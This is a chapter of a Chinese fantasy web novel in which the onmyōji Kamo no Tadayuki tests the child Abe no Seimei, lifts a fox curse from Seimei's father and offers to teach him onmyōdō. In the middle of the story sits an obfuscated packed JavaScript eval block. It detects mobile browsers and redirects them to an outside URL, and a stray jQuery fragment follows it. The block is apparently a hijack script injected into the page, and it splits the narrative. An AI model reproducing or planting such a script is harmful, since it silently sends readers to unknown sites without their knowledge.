“真是座很好的宅院啊。”贺茂忠行还没迈进安倍家的大门,他就这样感叹道。
安倍益材没应声,他总觉得贺茂忠行话里有话。
说实话,安倍益材一点也不想把这个大阴阳师带到他家里去。
贺茂忠行在天皇面前说的那一句“天生灵力”让他心惊肉跳,疑心对方或许已经看穿了晴明的身份。
但这是没有办法的事,毕竟这件事已经被天皇知道了,如果他们不能给天皇一个满意的答复的话,天皇大概是不会罢休的。
“保宪,感觉到什么没有?”贺茂忠行摇了摇手中的折扇,回头去问那个跟在他身后,仍然捧着太刀的孩子。
此时他们已经走进了安倍家的庭院。
“这附近阴气很重。”名叫保宪的孩子四处看了看,疑惑地问:“但是为什么一点都没有侵入……”
一点儿都没侵入到这座宅院里,甚至,还能够从这座房子里感受到一股灵气,虽然微弱,但这种灵气通常很难形成,按照常理而言,只有人迹罕至的深山之中才具备灵气生成的条件。
“你只知其一,不知其二。”贺茂忠行轻轻用折扇敲了敲保宪的脑袋,责备的意味并不是很强:“阴气聚集,只是为了作祟害人吗?”
那还能是因为什么?安倍益材在一旁听着,完全不明白贺茂忠行说这些的用意。
“妖鬼有依附于强者的天性,它们聚集在这儿,多半是把住在这里的人当成了大妖怪。”贺茂忠行徐徐说道:“今天仪式上那只鬼也是如此,它献上自己的供奉,以此恳求强者庇佑于它,而这个强者嘛……”
贺茂忠行笑着,继续说了下去,意有所指:“妖狐之子天生灵力,和那些不入流的小鬼比起来,确实算是个强者。”
安倍益材一下子面如土色,几乎是下意识地挡在了晴明身前。
贺茂忠行慢悠悠地摇着折扇,不急不徐地说:“你倒是不必这样担心,如果我想对这孩子不利,刚才在天皇面前动手岂不更好?何苦还要撒谎骗他呢?”
他竟然把欺骗天皇这种大逆不道的事说得这样轻描淡写。
“进去说吧。”安倍益材稍微放松了一点,但精神还是紧绷着。
他们进到里屋,屏退所有仆人,安倍益材这才问道:“贺茂大人,您的意思是……”
“虽然稚子无罪,但有些事还是要确定一下的。”贺茂忠行在晴明面前摊开了自己染血的手掌,解开包扎用的布条,任由伤口暴露在空气中,含笑问道:“感觉如何?”
晴明犹豫了一下才问:“您……不疼吗?”
贺茂忠行闻言,大笑起来,他一边笑,一边摸了摸晴明的头,说:“好孩子,你可知道,我为什么要割破手掌?”
“因为它们想要您的血。”晴明回答得很快,因为他亲眼看见了鬼贪婪地舔舐那枚苹果表面沾染的血的情景。
“你果然看得见。”贺茂忠行点头微笑:“也是,狐妖之子,自然是天生开了心眼的。”
心眼,那是一种很特殊的能力,绝大多数人需要经历过训练才有可能打开心眼,从而,借助心眼看见那些隐匿了身形的妖鬼。
但是总有极少数人天赋异禀,天生便可见鬼,而这种人往往能于阴阳一道取得很高的成就。
安倍益材皱了皱眉头,很不喜欢贺茂忠行一口一个“狐妖之子”的行为,于是他毫不客气地问:“您究竟想说什么?”
“我相信你也很担心这孩子的未来。”贺茂忠行一边说,一边重新包扎好了自己手掌的刀伤:“他年岁愈长,灵力愈强,如果任由他自己发展而不加控制,恐怕终有一天会酿成大祸。”
“……”这话正说中了安倍益材的心事,他不知不觉地坐直了。
“稚子无辜,我更不是什么见到妖怪就赶尽杀绝的人,而且我刚刚试过了,这孩子似乎并没有什么饮血的本能。”贺茂忠行举起那只受伤的手,笑眯眯地晃了晃。
“所以,我有个主意,我会向天皇禀报说这孩子天生灵力,是个可造之才,然后我收他为徒,把阴阳道传授给他。”贺茂忠行想了想,又解释说:“你尽管放心,我并没有什么其他图谋。早年间我游历山林的时候,曾与狐妖讲论过阴阳之术,受益匪浅。如今我把阴阳术教给这孩子,就当作是还了狐妖的情分了。”他这话说得坦坦荡荡,叫人丝毫生不起疑心来。
“那天生灵力这件事会不会被怀疑……”安倍益材的心稍稍有些松动,贺茂忠行的提议听起来十分诱人。
贺茂忠行笑起来:“没有人会因为阴阳师能看见鬼而去怀疑他不是人类。”
“而且,”贺茂忠行拍了拍那个叫保宪的孩子的肩膀,说:“我儿子保宪,同样也是天生灵力,自小便能看见妖鬼,至今也没人把他当成过妖怪。”
安倍益材张了张嘴,还没等他说话,心脏骤然一阵抽痛。
他几乎都要忘了葛叶给他下的这个咒术了!
贺茂忠行神色一肃,起身扶住安倍益材,喃喃着:“原来如此,我还以为……”他摇了摇头,没再说下去,从衣服内怀摸了张符出来,往安倍益材心口上一贴,低声说道:“咒印驱散,急急如律!”
他足足念诵了十数次咒语,安倍益材才疼痛稍减,接着,呕出了一大团雪白色的狐狸毛发,等到狐狸毛吐尽之后,那种叫人难以忍受的痛苦便彻底消失了。
“这……我什么时候吃下去的?”安倍益材缓过劲来,看到那堆狐狸毛发不禁愕然。
“这不过是咒的凭依形态而已,它既可以是毛发,也可以是任何一种物品,而通常情况下,咒的凭依形态与施咒者有莫大的关联。”贺茂忠行尽量通俗地解释,但安倍益材还是听得半懂不懂。
“我记得你,或者说是记得你身上的咒。”贺茂忠行忽然又说:“是三年前吧,我与人辩论关于妖怪的事,你当时就躲在一边。”
提起这件事,安倍益材脸上有些发烧。
“我当时是先注意到你身上的咒,然后才注意到你这个人。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460580|185398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贺茂忠行继续说:“这种咒十分特殊,必须耗费掉半生修为才能施展。所以,如果不是真的有很深的执念的话,谁也不会选择下这种咒的。”
“当时我想,既然对方不惜牺牲修为也要对你下咒,而这种咒又不会致死,那我又何必插手多管呢?”贺茂忠行这个人有时候坦诚得叫人有点难以接受。
“不过现在看来,下咒的是这孩子的母亲吧?”贺茂忠行猜测道:“为了让你好好照顾这孩子,不把他交给别人?”虽然这不是完整的事实,但也被他猜了个八九不离十。
安倍益材点了点头,后怕地按住了心口。
贺茂忠行了然地一笑,既然刚才那个咒会发作的话,那就证明安倍益材已经对他的话动心了。
对于这个孩子,他势在必得。
实际上,他还有另一个不能宣之于口的理由,眼下朝政之间暗潮汹涌,势力驳杂,他贺茂忠行虽然精于阴阳一道,但要凭借这一点就想在朝廷立足还是远远不够的。更何况现在因为他受天皇宠信,眼红他位置的人不少,而信服他的人不多。
如果他能培养出一批强大的阴阳师,他未来也就不用再担心自己的地位被人动摇了。
“如果他跟你们去了,那他……”安倍益材犹豫了一下,最后还是说了下去:“他还能回家来吗?”
贺茂忠行一笑:“当然,学阴阳术又不是禁足,他随时都可以回来的。”
“晴明。”安倍益材似乎有些不忍,但他最后还是说:“你跟这位贺茂大人去吧。”
晴明歪了歪脑袋,问:“阴阳术是什么?”
贺茂忠行伸手去衣袖里摸出了一张白纸剪成的动物,也不知他念了句什么话,那张白纸竟自己跳了起来,而且逐渐变得立体,越来越像一只真正的动物,最后,白纸变成了一只长着两条尾巴、模样很凶恶的黑猫。
“猫又,我的式神。”看到安倍益材惊愕的神情,贺茂忠行用折扇压住了唇角:“这就是阴阳术。”
传说猫是一种有灵性、很容易变成精怪的动物,每活过九年便会多长出一条尾巴,这样的猫便被称作“猫又”。
猫又生性残忍,喜好食人,而且睚眦必报。
只见猫又先是在地上伸了个懒腰,充分伸展了一下它柔软的身体,然后才龇开了满口利齿,问:“贺茂大人,这次你想撕了谁?”虽然它口称“贺茂大人”,但语气可没有任何恭敬的意思。
贺茂忠行好像完全不在意猫又说的那句杀气腾腾的话,他笑道:“这次没什么事叫你做,我不过是展示一下阴阳术而已。”
猫又嫌恶地啧了一声,转头去扑自己身后摇晃着的两条尾巴,不再搭理贺茂忠行。
晴明还是第一次见到,他从小就喜欢这些毛绒绒的动物,当即也不顾猫又龇牙咧嘴地冲他咆哮,强行把猫又抱在了怀里。
“想学吗?”贺茂忠行低声说,诱哄似的:“我可以教给你。”
“我可以带明美子一起去吗?”晴明眼睛亮亮的。